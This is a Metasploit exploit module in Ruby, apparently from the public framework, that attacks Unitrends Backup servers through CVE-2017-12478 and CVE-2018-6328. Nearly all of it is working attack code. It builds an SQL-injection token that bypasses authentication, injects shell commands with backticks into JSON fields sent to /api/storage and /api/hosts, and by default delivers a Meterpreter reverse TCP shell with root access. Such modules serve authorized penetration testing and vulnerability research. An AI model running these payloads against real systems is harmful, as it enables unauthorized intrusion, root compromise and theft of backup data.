## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Unitrends UEB http api remote code execution', 'Description' => %q{ It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system. UEB v9 runs the api under root privileges and api/storage is vulnerable. UEB v10 runs the api under limited privileges and api/hosts is vulnerable. }, 'Author' => [ 'Cale Smith', # @0xC413 'Benny Husted', # @BennyHusted 'Jared Arave', # @iotennui 'h00die' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'CmdStagerFlavor' => [ 'printf' ], 'References' => [ ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'], ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'], ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'], ['EDB', '44297'], ['CVE', '2017-12478'], ['CVE', '2018-6328'] ], 'Targets' => [ [ 'UEB 9.*', { 'Privileged' => true } ], [ 'UEB < 10.1.0', { 'Privileged' => false } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'SSL' => true }, 'DisclosureDate' => '2017-08-08', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]) ] ) deregister_options('SRVHOST', 'SRVPORT') end def auth_token session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" # SQLi auth bypass Base64.strict_encode64(session) # b64 encode session token end def check res = send_request_cgi!({ 'method' => 'GET', 'uri' => '/api/systems/details', 'ctype' => 'application/json', 'headers' => { 'AuthToken' => auth_token } }) if res && res.code == 200 print_good("Good news, looks like a vulnerable version of UEB.") return CheckCode::Appears else print_bad('Host does not appear to be vulnerable.') end return CheckCode::Safe end # substitue some charactes def filter_bad_chars(cmd) cmd.gsub!("\\", "\\\\\\") cmd.gsub!("'", '\\"') end def execute_command(cmd, opts = {}) if target.name == 'UEB 9.*' # substitue the cmd into the hostname parameter parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`| parms << filter_bad_chars(cmd) parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}| uri = '/api/storage' elsif target.name == 'UEB < 10.1.0' parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&| parms << filter_bad_chars(cmd) parms << %Q|`'"}| uri = '/api/hosts' end res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'ctype' => 'application/json', 'encode_params' => false, 'data' => parms, 'headers' => { 'AuthToken' => auth_token } }) if res && res.code != 500 fail_with(Failure::UnexpectedReply, 'Unexpected response') end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end def exploit print_status("#{peer} - Sending requests to UEB...") execute_cmdstager(:linemax => 120) end def on_new_session(session) if target.name == 'UEB < 10.1.0' print_good("A privilege escalation exploit can be found 'exploits/linux/local/ueb_bpserverd_privesc'") end end end